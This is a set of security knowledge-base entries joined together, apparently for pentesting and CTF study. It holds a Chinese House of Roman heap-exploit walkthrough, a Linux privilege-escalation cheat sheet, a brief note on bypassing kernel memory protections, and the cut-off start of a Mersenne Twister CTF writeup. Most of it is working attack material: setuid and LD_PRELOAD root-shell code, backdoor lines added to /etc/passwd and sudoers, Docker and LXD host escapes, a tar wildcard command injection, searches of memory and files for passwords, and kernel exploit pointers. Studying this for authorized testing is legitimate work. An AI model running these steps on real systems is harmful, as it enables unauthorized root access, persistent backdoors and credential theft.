0x71 <---------- free 0x71 0x555555757030: 0x7ffff7dd1b58 <main_arena+88> 0x7ffff7dd1b58 <main_arena+88> 0x555555757040: 0x4141414141414141 0x4141414141414141 0x555555757050: 0x4141414141414141 0x4141414141414141 0x555555757060: 0x4141414141414141 0x4141414141414141 0x555555757070: 0x4141414141414141 0x4141414141414141 0x555555757080: 0x4141414141414141 0x4141414141414141 0x555555757090: 0x4141414141414141 0x61 0x5555557570a0: 0x0 0x0 0x5555557570b0: 0x0 0x0 0x5555557570c0: 0x0 0x0 0x5555557570d0: 0x0 0x0 0x5555557570e0: 0x0 0x0 0x5555557570f0: 0xd0 0x71 <---------- free 0x71 0x555555757100: 0x0 0x0 0x555555757110: 0x0 0x0 0x555555757120: 0x0 0x0 0x555555757130: 0x0 0x0 ``` ``` libc : 0x7ffff7a23d28 ("malloc_hook") ``` 这个时候我们的 FD 已经在 malloc hook 附近,为之后的爆破做准备。 #### 第二步 我们只需要通过 释放一块0x71大小的 chunk 就能完成 fix。 #### 第三步 利用 unsortebin 的攻击技巧,并使用编辑功能将 onegadet 写入 。 ### House of Roman分析举例 分配 `3` 个 `chunk` ,在 `B + 0x78` 处设置 `p64(0x61)` , 作用是 `fake size` ,用于后面 的 `fastbin attack`  ```python create(0x18,0) # 0x20 create(0xc8,1) # d0 create(0x65,2) # 0x70 info("create 2 chunk, 0x20, 0xd8") fake = "A"*0x68 fake += p64(0x61) ## fake size edit(1,fake) info("fake") ``` 释放掉 `B` , 然后分配同样大小再次分配到 `B` , 此时 `B+0x10` 和 `B+0x18` 中有 `main_arean` 的地址。分配 `3` 个 `fastbin` ,利用 `off by one` 修改 `B->size = 0x71` ``` free(1) create(0xc8,1) create(0x65,3) # b create(0x65,15) create(0x65,18) over = "A"*0x18 # off by one over += "\x71" # set chunk 1's size --> 0x71 edit(0,over) info("利用 off by one , chunk 1's size --> 0x71") ``` 生成两个 `fastbin` ,然后利用 `uaf` ,部分地址写,把 `B` 链入到 `fastbin` ```py free(2) free(3) info("创建两个 0x70 的 fastbin") heap_po = "\x20" edit(3,heap_po) info("把 chunk'1 链入到 fastbin 里面") ``` 调试看看此时 `fastbin` 的状态 ``` pwndbg> fastbins fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78 0x80: 0x0 ``` > `0x555555757020` 就是 `chunk B` 然后通过修改 `B->fd` 的低 `2` 字节, 使得 `B->fd= malloc_hook - 0x23` ``` # malloc_hook 上方 malloc_hook_nearly = "\xed\x1a" edit(1,malloc_hook_nearly) info("部分写,修改 fastbin->fd ---> malloc_hook") ``` 然后分配 `3` 个 `0x70` 的 `chunk` ,就可以拿到 `malloc_hook` 所在的那个 `chunk` . ``` create(0x65,0) create(0x65,0) create(0x65,0) ``` 然后 `free` 掉 `E` ,进入 `fastbin` ,利用 `uaf` 设置 `E->fd = 0` , 修复了 `fastbin` ``` free(15) edit(15,p64(0x00)) info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin") ``` 然后是 unsorted bin 攻击,使得 malloc_hook 的值为 main_arena+88 ``` create(0xc8,1) create(0xc8,1) create(0x18,2) create(0xc8,3) create(0xc8,4) free(1) po = "B"*8 po += "\x00\x1b" edit(1,po) create(0xc8,1) info("unsorted bin 使得 malloc_hook 有 libc 的地址") ``` 利用 修改 `malloc_hook` 的低三个字节 ,使得 `malloc_hook` 为 `one_gadget` 的地址 ``` over = "R"*0x13 # padding for malloc_hook over += "\xa4\xd2\xaf" edit(0,over) info("malloc_hook to one_gadget") ``` 然后 `free` 两次同一个 `chunk` ,触发 `malloc_printerr` , `getshell` ``` free(18) free(18) ```
sec-knowleage
# Linux - Privilege Escalation ## Summary * [Tools](#tools) * [Checklist](#checklists) * [Looting for passwords](#looting-for-passwords) * [Files containing passwords](#files-containing-passwords) * [Old passwords in /etc/security/opasswd](#old-passwords-in-etcsecurityopasswd) * [Last edited files](#last-edited-files) * [In memory passwords](#in-memory-passwords) * [Find sensitive files](#find-sensitive-files) * [SSH Key](#ssh-key) * [Sensitive files](#sensitive-files) * [SSH Key Predictable PRNG (Authorized_Keys) Process](#ssh-key-predictable-prng-authorized_keys-process) * [Scheduled tasks](#scheduled-tasks) * [Cron jobs](#cron-jobs) * [Systemd timers](#systemd-timers) * [SUID](#suid) * [Find SUID binaries](#find-suid-binaries) * [Create a SUID binary](#create-a-suid-binary) * [Capabilities](#capabilities) * [List capabilities of binaries](#list-capabilities-of-binaries) * [Edit capabilities](#edit-capabilities) * [Interesting capabilities](#interesting-capabilities) * [SUDO](#sudo) * [NOPASSWD](#nopasswd) * [LD_PRELOAD and NOPASSWD](#ld_preload-and-nopasswd) * [Doas](#doas) * [sudo_inject](#sudo_inject) * [CVE-2019-14287](#cve-2019-14287) * [GTFOBins](#gtfobins) * [Wildcard](#wildcard) * [Writable files](#writable-files) * [Writable /etc/passwd](#writable-etcpasswd) * [Writable /etc/sudoers](#writable-etcsudoers) * [NFS Root Squashing](#nfs-root-squashing) * [Shared Library](#shared-library) * [ldconfig](#ldconfig) * [RPATH](#rpath) * [Groups](#groups) * [Docker](#docker) * [LXC/LXD](#lxclxd) * [Hijack TMUX session](#hijack-tmux-session) * [Kernel Exploits](#kernel-exploits) * [CVE-2022-0847 (DirtyPipe)](#cve-2022-0847-dirtypipe) * [CVE-2016-5195 (DirtyCow)](#cve-2016-5195-dirtycow) * [CVE-2010-3904 (RDS)](#cve-2010-3904-rds) * [CVE-2010-4258 (Full Nelson)](#cve-2010-4258-full-nelson) * [CVE-2012-0056 (Mempodipper)](#cve-2012-0056-mempodipper) ## Tools There are many scripts that you can execute on a linux machine which automatically enumerate sytem information, processes, and files to locate privilege escalation vectors. Here are a few: - [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) ```powershell wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh curl "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -o linpeas.sh ./linpeas.sh -a #all checks - deeper system enumeration, but it takes longer to complete. ./linpeas.sh -s #superfast & stealth - This will bypass some time consuming checks. In stealth mode Nothing will be written to the disk. ./linpeas.sh -P #Password - Pass a password that will be used with sudo -l and bruteforcing other users ``` - [LinuxSmartEnumeration - Linux enumeration tools for pentesting and CTFs](https://github.com/diego-treitos/linux-smart-enumeration) ```powershell wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh ./lse.sh -l1 # shows interesting information that should help you to privesc ./lse.sh -l2 # dump all the information it gathers about the system ``` - [LinEnum - Scripted Local Linux Enumeration & Privilege Escalation Checks](https://github.com/rebootuser/LinEnum) ```powershell ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t ``` - [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) - [linuxprivchecker.py - a Linux Privilege Escalation Check Script](https://github.com/sleventyeleven/linuxprivchecker) - [unix-privesc-check - Automatically exported from code.google.com/p/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check) - [Privilege Escalation through sudo - Linux](https://github.com/TH3xACE/SUDO_KILLER) ## Checklists * Kernel and distribution release details * System Information: * Hostname * Networking details: * Current IP * Default route details * DNS server information * User Information: * Current user details * Last logged on users * Shows users logged onto the host * List all users including uid/gid information * List root accounts * Extracts password policies and hash storage method information * Checks umask value * Checks if password hashes are stored in /etc/passwd * Extract full details for 'default' uid's such as 0, 1000, 1001 etc * Attempt to read restricted files i.e. /etc/shadow * List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.) * Basic SSH checks * Privileged access: * Which users have recently used sudo * Determine if /etc/sudoers is accessible * Determine if the current user has Sudo access without a password * Are known 'good' breakout binaries available via Sudo (i.e. nmap, vim etc.) * Is root's home directory accessible * List permissions for /home/ * Environmental: * Display current $PATH * Displays env information * Jobs/Tasks: * List all cron jobs * Locate all world-writable cron jobs * Locate cron jobs owned by other users of the system * List the active and inactive systemd timers * Services: * List network connections (TCP & UDP) * List running processes * Lookup and list process binaries and associated permissions * List inetd.conf/xined.conf contents and associated binary file permissions * List init.d binary permissions * Version Information (of the following): * Sudo * MYSQL * Postgres * Apache * Checks user config * Shows enabled modules * Checks for htpasswd files * View www directories * Default/Weak Credentials: * Checks for default/weak Postgres accounts * Checks for default/weak MYSQL accounts * Searches: * Locate all SUID/GUID files * Locate all world-writable SUID/GUID files * Locate all SUID/GUID files owned by root * Locate 'interesting' SUID/GUID files (i.e. nmap, vim etc) * Locate files with POSIX capabilities * List all world-writable files * Find/list all accessible *.plan files and display contents * Find/list all accessible *.rhosts files and display contents * Show NFS server details * Locate *.conf and *.log files containing keyword supplied at script runtime * List all *.conf files located in /etc * Locate mail * Platform/software specific tests: * Checks to determine if we're in a Docker container * Checks to see if the host has Docker installed * Checks to determine if we're in an LXC container ## Looting for passwords ### Files containing passwords ```powershell grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \; ``` ### Old passwords in /etc/security/opasswd The `/etc/security/opasswd` file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them. :warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes ### Last edited files Files that were edited in the last 10 minutes ```powershell find / -mmin -10 2>/dev/null | grep -Ev "^/proc" ``` ### In memory passwords ```powershell strings /dev/mem -n10 | grep -i PASS ``` ### Find sensitive files ```powershell $ locate password | more /boot/grub/i386-pc/password.mod /etc/pam.d/common-password /etc/pam.d/gdm-password /etc/pam.d/gdm-password.original /lib/live/config/0031-root-password ... ``` ## SSH Key ### Sensitive files ``` find / -name authorized_keys 2> /dev/null find / -name id_rsa 2> /dev/null ... ``` ### SSH Key Predictable PRNG (Authorized_Keys) Process This module describes how to attempt to use an obtained authorized_keys file on a host system. Needed : SSH-DSS String from authorized_keys file **Steps** 1. Get the authorized_keys file. An example of this file would look like so: ``` ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ... ``` 2. Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`: ``` echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config /etc/init.d/ssh restart ``` 3. Get [g0tmi1k's debian-ssh repository](https://github.com/g0tmi1k/debian-ssh) and unpack the keys: ``` git clone https://github.com/g0tmi1k/debian-ssh cd debian-ssh tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2 ``` 4. Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as: ``` grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf' dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub ``` 5. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do: ``` ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934 ``` And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why. ## Scheduled tasks ### Cron jobs Check if you have access with write permission on these files. Check inside the file, to find other paths with write permissions. ```powershell /etc/init.d /etc/cron* /etc/crontab /etc/cron.allow /etc/cron.d /etc/cron.deny /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly /etc/sudoers /etc/exports /etc/anacrontab /var/spool/cron /var/spool/cron/crontabs/root crontab -l ls -alh /var/spool/cron; ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny* ``` You can use [pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job. ```powershell # print both commands and file system events and scan procfs every 1000 ms (=1sec) ./pspy64 -pf -i 1000 ``` ## Systemd timers ```powershell systemctl list-timers --all NEXT LEFT LAST PASSED UNIT ACTIVATES Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service 3 timers listed. ``` ## SUID SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`. ```powershell ╭─swissky@lab ~ ╰─$ ls /usr/bin/sudo -alh -rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo ``` ### Find SUID binaries ```bash find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; find / -uid 0 -perm -4000 -type f 2>/dev/null ``` ### Create a SUID binary | Function | Description | |------------|---| | setreuid() | sets real and effective user IDs of the calling process | | setuid() | sets the effective user ID of the calling process | | setgid() | sets the effective group ID of the calling process | ```bash print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c gcc -o /tmp/suid /tmp/suid.c sudo chmod +x /tmp/suid # execute right sudo chmod +s /tmp/suid # setuid bit ``` ## Capabilities ### List capabilities of binaries ```powershell ╭─swissky@lab ~ ╰─$ /usr/bin/getcap -r /usr/bin /usr/bin/fping = cap_net_raw+ep /usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep /usr/bin/rlogin = cap_net_bind_service+ep /usr/bin/ping = cap_net_raw+ep /usr/bin/rsh = cap_net_bind_service+ep /usr/bin/rcp = cap_net_bind_service+ep ``` ### Edit capabilities ```powershell /usr/bin/setcap -r /bin/ping # remove /usr/bin/setcap cap_net_raw+p /bin/ping # add ``` ### Interesting capabilities Having the capability =ep means the binary has all the capabilities. ```powershell $ getcap openssl /usr/bin/openssl openssl=ep ``` Alternatively the following capabilities can be used in order to upgrade your current privileges. ```powershell cap_dac_read_search # read anything cap_setuid+ep # setuid ``` Example of privilege escalation with `cap_setuid+ep` ```powershell $ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7 $ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' sh-5.0# id uid=0(root) gid=1000(swissky) ``` | Capabilities name | Description | |---|---| | CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing | | CAP_AUDIT_WRITE | Helps to write records to kernel auditing log | | CAP_BLOCK_SUSPEND | This feature can block system suspends | | CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs | | CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks | | CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks | | CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file | | CAP_KILL | Allow the sending of signals to processes belonging to others | | CAP_SETGID | Allow changing of the GID | | CAP_SETUID | Allow changing of the UID | | CAP_SETPCAP | Helps to transferring and removal of current set to any PID | | CAP_IPC_LOCK | This helps to lock memory | | CAP_MAC_ADMIN | Allow MAC configuration or state changes | | CAP_NET_RAW | Use RAW and PACKET sockets | | CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports | ## SUDO Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER) ### NOPASSWD Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. ```bash $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. ```bash sudo vim -c '!sh' sudo -u root vim -c '!sh' ``` ### LD_PRELOAD and NOPASSWD If `LD_PRELOAD` is explicitly defined in the sudoers file ```powershell Defaults env_keep += LD_PRELOAD ``` Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` ```c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); } ``` Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find` ### Doas There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` ```bash permit nopass demo as root cmd vim ``` ### sudo_inject Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject) ```powershell $ sudo whatever [sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens. $ sh exploit.sh .... wait 1 seconds $ sudo -i # no password required :) # id uid=0(root) gid=0(root) groups=0(root) ``` Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf) ### CVE-2019-14287 ```powershell # Exploitable when a user have the following permissions (sudo -l) (ALL, !root) ALL # If you have a full TTY, you can exploit it like this sudo -u#-1 /bin/bash sudo -u#4294967295 id ``` ## GTFOBins [GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. > gdb -nx -ex '!sh' -ex quit > sudo mysql -e '\! /bin/sh' > strace -o /dev/null /bin/sh > sudo awk 'BEGIN {system("/bin/sh")}' ## Wildcard By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy. ```powershell # create file for exploitation touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh" echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh # vulnerable script tar cf archive.tar * ``` Tool: [wildpwn](https://github.com/localh0t/wildpwn) ## Writable files List world writable files on the system. ```powershell find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null find / -perm -2 -type f 2>/dev/null find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null ``` ### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat) /etc/sysconfig/network-scripts/ifcfg-1337 for example ```powershell NAME=Network /bin/id &lt;= Note the blank space ONBOOT=yes DEVICE=eth0 EXEC : ./etc/sysconfig/network-scripts/ifcfg-1337 ``` src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) ### Writable /etc/passwd First generate a password with one of the following commands. ```powershell openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` Then add the user `hacker` and add the generated password. ```powershell hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` You can now use the `su` command with `hacker:hacker` Alternatively you can use the following lines to add a dummy user without a password. WARNING: you might degrade the current security of the machine. ```powershell echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. ### Writable /etc/sudoers ```powershell echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers # use SUDO without password echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers ``` ## NFS Root Squashing When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it. ```powershell # remote check the name of the folder showmount -e 10.10.10.10 # create dir mkdir /tmp/nfsdir # mount directory mount -t nfs 10.10.10.10:/shared /tmp/nfsdir cd /tmp/nfsdir # copy wanted shell cp /bin/bash . # set suid permission chmod +s bash ``` ## Shared Library ### ldconfig Identify shared libraries with `ldd` ```powershell $ ldd /opt/binary linux-vdso.so.1 (0x00007ffe961cd000) vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000) ``` Create a library in `/tmp` and activate the path. ```powershell gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so /opt/binary ``` ### RPATH ```powershell level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. ```powershell level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```powershell #include<stdlib.h> #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { char *file = SHELL; char *argv[] = {SHELL,0}; setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` ## Groups ### Docker Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`. ```bash $> docker run -it --rm -v $PWD:/mnt bash $> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd ``` Almost similar but you will also see all processes running on the host and be connected to the same NICs. ```powershell docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash ``` Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell ```powershell $ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease latest: Pulling from chrisfosterelli/rootplease 2de59b831a23: Pull complete 354c3661655e: Pull complete 91930878a2d7: Pull complete a3ed95caeb02: Pull complete 489b110c54dc: Pull complete Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0 Status: Downloaded newer image for chrisfosterelli/rootplease:latest You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell sh-5.0# id uid=0(root) gid=0(root) groups=0(root) ``` More docker privilege escalation using the Docker Socket. ```powershell sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` ### LXC/LXD The privesc requires to run a container with elevated privileges and mount the host filesystem inside. ```powershell ╭─swissky@lab ~ ╰─$ id uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel) ``` Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. ```powershell # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder ./build-alpine -a i686 # import the image lxc image import ./alpine.tar.gz --alias myimage # run the image lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true # interact with the container lxc start mycontainer lxc exec mycontainer /bin/sh ``` Alternatively https://github.com/initstring/lxd_root ## Hijack TMUX session Require a read access to the tmux socket : `/tmp/tmux-1000/default`. ```powershell export TMUX=/tmp/tmux-1000/default,1234,0 tmux ls ``` ## Kernel Exploits Precompiled exploits can be found inside these repositories, run them at your own risk ! * [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits) * [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/) The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`. Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a` Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/. ### CVE-2022-0847 (DirtyPipe) Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11 ``` https://www.exploit-db.com/exploits/50808 ``` ### CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 ```powershell # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### CVE-2010-3904 (RDS) Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 ```powershell https://www.exploit-db.com/exploits/15285/ ``` ### CVE-2010-4258 (Full Nelson) Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) ```powershell https://www.exploit-db.com/exploits/15704/ ``` ### CVE-2012-0056 (Mempodipper) Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) ```powershell https://www.exploit-db.com/exploits/18411 ``` ## References - [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/) - [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html) - [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/) - [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/) - [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/) - [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt) - [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/) - [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html) - [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/) - [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject) * [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html) * [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf) * [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md) * [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)
sec-knowleage
# Misc ## __ro_after_init ### 介绍 Linux 内核中有很多数据都只会在 `__init` 阶段被初始化,而且之后不会被改变。使用 `__ro_after_init` 标记的内存,在 init 阶段结束后,不能够被再次修改。 ### 攻击 我们可以使用 `set_memory_rw(unsigned long addr, int numpages)` 来修改对应页的权限。 ## mmap_min_addr mmap_min_addr 是用来对抗 NULL Pointer Dereference 的,指定用户进程通过 mmap 可以使用的最低的虚拟内存地址。 ## 参考 - https://lwn.net/Articles/676145/ - https://lwn.net/Articles/666550/ - https://lore.kernel.org/patchwork/patch/621386/
sec-knowleage
# Random (crypto, 100p) We were given this simple C++ code: ```cpp #include <fstream> #include <iomanip> #include <iostream> #include <random> #include <string> using std::cin; using std::cout; using std::endl; using std::ifstream; using std::string; [[noreturn]] void fatal_error(const string& msg) { cout << msg << endl; exit(0); } class RandStream { std::random_device rd; std::mt19937 gen; public: RandStream() : rd(), gen(rd()) {} unsigned int NextUInt() { return gen(); } }; int main() { cout << "Let's see if you can predict Mersenne Twister output from just" << " six values!" << endl; cout << "btw. You have only 5 seconds." << endl; RandStream rand{}; for (int i = 0; i < 6; i++) cout << std::hex << std::setfill('0') << std::setw(8) << rand.NextUInt() << endl; for (int i = 0; i < 5; i++) { unsigned int num; cin >> std::hex >> num; if (num != rand.NextUInt()) fatal_error("Wrong!"); } cout << "Good work!" << endl; ifstream f("flag.txt"); string flag; f >> flag; if (f.fail()) 